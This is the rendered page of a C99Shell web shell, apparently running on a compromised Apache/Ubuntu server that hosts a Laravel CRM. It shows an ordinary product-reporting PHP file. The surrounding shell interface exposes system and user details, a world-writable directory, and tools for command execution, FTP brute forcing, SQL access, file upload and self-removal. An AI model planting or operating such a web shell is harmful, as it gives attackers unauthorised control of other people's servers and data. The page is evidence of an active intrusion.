!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Helpers/Reporting/   drwxrwxrwx
Free 12.92 GB of 57.97 GB (22.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Product.php (3.11 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Helpers\Reporting;

use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\DB;
use 
Webkul\Lead\Repositories\ProductRepository;

class 
Product extends AbstractReporting
{
    
/**
     * Create a helper instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
ProductRepository $productRepository
    
) {
        
parent::__construct();
    }

    
/**
     * Gets top-selling products by revenue.
     *
     * @param  int  $limit
     */
    
public function getTopSellingProductsByRevenue($limit null): Collection
    
{
        
$tablePrefix DB::getTablePrefix();

        
$items $this->productRepository
            
->resetModel()
            ->
with('product')
            ->
leftJoin('leads''lead_products.lead_id''=''leads.id')
            ->
leftJoin('products''lead_products.product_id''=''products.id')
            ->
select('*')
            ->
addSelect(DB::raw('SUM('.$tablePrefix.'lead_products.amount) as revenue'))
            ->
whereBetween('leads.closed_at', [$this->startDate$this->endDate])
            ->
having(DB::raw('SUM('.$tablePrefix.'lead_products.amount)'), '>'0)
            ->
groupBy('product_id')
            ->
orderBy('revenue''DESC')
            ->
limit($limit)
            ->
get();

        
$items $items->map(function ($item) {
            return [
                
'id'                => $item->product_id,
                
'name'              => $item->name,
                
'price'             => $item->product?->price,
                
'formatted_price'   => core()->formatBasePrice($item->price),
                
'revenue'           => $item->revenue,
                
'formatted_revenue' => core()->formatBasePrice($item->revenue),
            ];
        });

        return 
$items;
    }

    
/**
     * Gets top-selling products by quantity.
     *
     * @param  int  $limit
     */
    
public function getTopSellingProductsByQuantity($limit null): Collection
    
{
        
$tablePrefix DB::getTablePrefix();

        
$items $this->productRepository
            
->resetModel()
            ->
with('product')
            ->
leftJoin('leads''lead_products.lead_id''=''leads.id')
            ->
leftJoin('products''lead_products.product_id''=''products.id')
            ->
select('*')
            ->
addSelect(DB::raw('SUM('.$tablePrefix.'lead_products.quantity) as total_qty_ordered'))
            ->
whereBetween('leads.closed_at', [$this->startDate$this->endDate])
            ->
having(DB::raw('SUM('.$tablePrefix.'lead_products.quantity)'), '>'0)
            ->
groupBy('product_id')
            ->
orderBy('total_qty_ordered''DESC')
            ->
limit($limit)
            ->
get();

        
$items $items->map(function ($item) {
            return [
                
'id'                => $item->product_id,
                
'name'              => $item->name,
                
'price'             => $item->product?->price,
                
'formatted_price'   => core()->formatBasePrice($item->price),
                
'total_qty_ordered' => $item->total_qty_ordered,
            ];
        });

        return 
$items;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.018 ]--